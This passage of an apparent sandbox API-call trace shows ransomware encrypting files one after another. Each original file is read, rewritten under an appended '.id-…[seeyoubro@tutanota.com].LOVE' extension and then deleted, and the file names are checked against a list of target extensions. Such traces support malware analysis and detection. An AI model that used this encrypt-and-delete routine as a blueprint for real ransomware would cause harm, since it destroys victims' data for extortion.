"c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.607] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.607] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.632] GetLastError () returned 0x0 [0197.632] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0197.683] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0197.684] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.684] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0197.684] SetEndOfFile (hFile=0x33c) returned 1 [0197.685] CloseHandle (hObject=0x33c) returned 1 [0197.686] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.686] SetEndOfFile (hFile=0x2d8) returned 1 [0197.687] CloseHandle (hObject=0x2d8) returned 1 [0197.687] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.687] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0197.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.688] lstrlenW (lpString=".doc") returned 4 [0197.688] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.688] lstrlenW (lpString=".docx") returned 5 [0197.688] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.688] lstrlenW (lpString=".pdf") returned 4 [0197.688] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.688] lstrlenW (lpString=".xls") returned 4 [0197.688] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.688] lstrlenW (lpString=".xlsx") returned 5 [0197.688] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.688] lstrlenW (lpString=".ppt") returned 4 [0197.688] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.688] lstrlenW (lpString=".zip") returned 4 [0197.688] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.688] lstrlenW (lpString=".rar") returned 4 [0197.688] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.688] lstrlenW (lpString=".bz2") returned 4 [0197.688] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.688] lstrlenW (lpString=".7z") returned 3 [0197.688] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.689] lstrlenW (lpString=".dbf") returned 4 [0197.689] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.689] lstrlenW (lpString=".1cd") returned 4 [0197.689] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.689] lstrlenW (lpString=".jpg") returned 4 [0197.689] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.689] lstrlenW (lpString=".doc") returned 4 [0197.689] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString=".docx") returned 5 [0197.689] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.689] lstrlenW (lpString=".pdf") returned 4 [0197.689] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString=".xls") returned 4 [0197.689] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.689] lstrlenW (lpString=".xlsx") returned 5 [0197.689] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.689] lstrlenW (lpString=".ppt") returned 4 [0197.689] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.689] lstrlenW (lpString=".zip") returned 4 [0197.689] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.689] lstrlenW (lpString=".rar") returned 4 [0197.689] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString=".bz2") returned 4 [0197.689] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.689] lstrlenW (lpString=".7z") returned 3 [0197.690] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.690] lstrlenW (lpString=".dbf") returned 4 [0197.690] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.690] lstrlenW (lpString=".1cd") returned 4 [0197.690] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0197.690] lstrlenW (lpString=".jpg") returned 4 [0197.690] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.690] lstrcmpiW (lpString1=".html", lpString2=".LOVE") returned -1 [0197.690] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0197.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.694] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=16118) returned 1 [0197.694] CloseHandle (hObject=0x33c) returned 1 [0197.694] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0197.694] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.694] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.694] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0197.695] GetLastError () returned 0x0 [0197.695] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0197.737] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0197.738] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.738] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0197.738] SetEndOfFile (hFile=0x2e0) returned 1 [0197.738] CloseHandle (hObject=0x2e0) returned 1 [0197.739] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.739] SetEndOfFile (hFile=0x33c) returned 1 [0197.740] CloseHandle (hObject=0x33c) returned 1 [0197.740] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.741] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0197.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.741] lstrlenW (lpString=".doc") returned 4 [0197.741] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0197.741] lstrlenW (lpString=".docx") returned 5 [0197.741] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0197.741] lstrlenW (lpString=".pdf") returned 4 [0197.741] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0197.741] lstrlenW (lpString=".xls") returned 4 [0197.741] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0197.741] lstrlenW (lpString=".xlsx") returned 5 [0197.741] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0197.741] lstrlenW (lpString=".ppt") returned 4 [0197.741] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0197.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.742] lstrlenW (lpString=".zip") returned 4 [0197.742] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0197.742] lstrlenW (lpString=".rar") returned 4 [0197.742] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0197.742] lstrlenW (lpString=".bz2") returned 4 [0197.742] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0197.742] lstrlenW (lpString=".7z") returned 3 [0197.742] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0197.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.742] lstrlenW (lpString=".dbf") returned 4 [0197.742] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0197.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.742] lstrlenW (lpString=".1cd") returned 4 [0197.742] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0197.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.742] lstrlenW (lpString=".jpg") returned 4 [0197.742] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0197.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.742] lstrlenW (lpString=".doc") returned 4 [0197.742] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0197.742] lstrlenW (lpString=".docx") returned 5 [0197.742] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0197.742] lstrlenW (lpString=".pdf") returned 4 [0197.742] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0197.742] lstrlenW (lpString=".xls") returned 4 [0197.742] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0197.743] lstrlenW (lpString=".xlsx") returned 5 [0197.743] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0197.743] lstrlenW (lpString=".ppt") returned 4 [0197.743] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0197.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.743] lstrlenW (lpString=".zip") returned 4 [0197.743] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0197.743] lstrlenW (lpString=".rar") returned 4 [0197.743] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0197.743] lstrlenW (lpString=".bz2") returned 4 [0197.743] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0197.743] lstrlenW (lpString=".7z") returned 3 [0197.743] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0197.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.743] lstrlenW (lpString=".dbf") returned 4 [0197.743] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0197.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.743] lstrlenW (lpString=".1cd") returned 4 [0197.743] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0197.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0197.743] lstrlenW (lpString=".jpg") returned 4 [0197.743] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0197.743] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.743] lstrlenW (lpString="UiInfo.xml") returned 10 [0197.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.744] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=39050) returned 1 [0197.744] CloseHandle (hObject=0x33c) returned 1 [0197.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0197.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.744] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.744] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0197.763] GetLastError () returned 0x0 [0197.763] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x988a, lpOverlapped=0x0) returned 1 [0197.804] WriteFile (in: hFile=0x2a0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x9890, lpOverlapped=0x0) returned 1 [0197.806] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.806] WriteFile (in: hFile=0x2a0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0197.806] SetEndOfFile (hFile=0x2a0) returned 1 [0197.806] CloseHandle (hObject=0x2a0) returned 1 [0197.809] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.809] SetEndOfFile (hFile=0x33c) returned 1 [0197.810] CloseHandle (hObject=0x33c) returned 1 [0197.810] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.811] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0197.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.811] lstrlenW (lpString=".doc") returned 4 [0197.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.811] lstrlenW (lpString=".docx") returned 5 [0197.811] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.811] lstrlenW (lpString=".pdf") returned 4 [0197.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.811] lstrlenW (lpString=".xls") returned 4 [0197.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString=".xlsx") returned 5 [0197.812] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.812] lstrlenW (lpString=".ppt") returned 4 [0197.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.812] lstrlenW (lpString=".zip") returned 4 [0197.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.812] lstrlenW (lpString=".rar") returned 4 [0197.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString=".bz2") returned 4 [0197.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString=".7z") returned 3 [0197.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.812] lstrlenW (lpString=".dbf") returned 4 [0197.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.812] lstrlenW (lpString=".1cd") returned 4 [0197.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.812] lstrlenW (lpString=".jpg") returned 4 [0197.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.812] lstrlenW (lpString=".doc") returned 4 [0197.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.812] lstrlenW (lpString=".docx") returned 5 [0197.812] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.813] lstrlenW (lpString=".pdf") returned 4 [0197.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString=".xls") returned 4 [0197.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString=".xlsx") returned 5 [0197.813] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.813] lstrlenW (lpString=".ppt") returned 4 [0197.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.813] lstrlenW (lpString=".zip") returned 4 [0197.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.813] lstrlenW (lpString=".rar") returned 4 [0197.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString=".bz2") returned 4 [0197.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString=".7z") returned 3 [0197.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.813] lstrlenW (lpString=".dbf") returned 4 [0197.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.813] lstrlenW (lpString=".1cd") returned 4 [0197.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0197.813] lstrlenW (lpString=".jpg") returned 4 [0197.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.814] lstrcmpiW (lpString1=".bmp", lpString2=".LOVE") returned -1 [0197.814] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0197.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.814] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=41080) returned 1 [0197.814] CloseHandle (hObject=0x33c) returned 1 [0197.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0197.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.814] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.814] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0197.815] GetLastError () returned 0x0 [0197.815] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa078, lpOverlapped=0x0) returned 1 [0197.980] WriteFile (in: hFile=0x2a0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa080, lpOverlapped=0x0) returned 1 [0197.981] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.981] WriteFile (in: hFile=0x2a0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0197.981] SetEndOfFile (hFile=0x2a0) returned 1 [0197.981] CloseHandle (hObject=0x2a0) returned 1 [0197.982] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.982] SetEndOfFile (hFile=0x33c) returned 1 [0197.983] CloseHandle (hObject=0x33c) returned 1 [0197.984] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.984] DeleteFileW 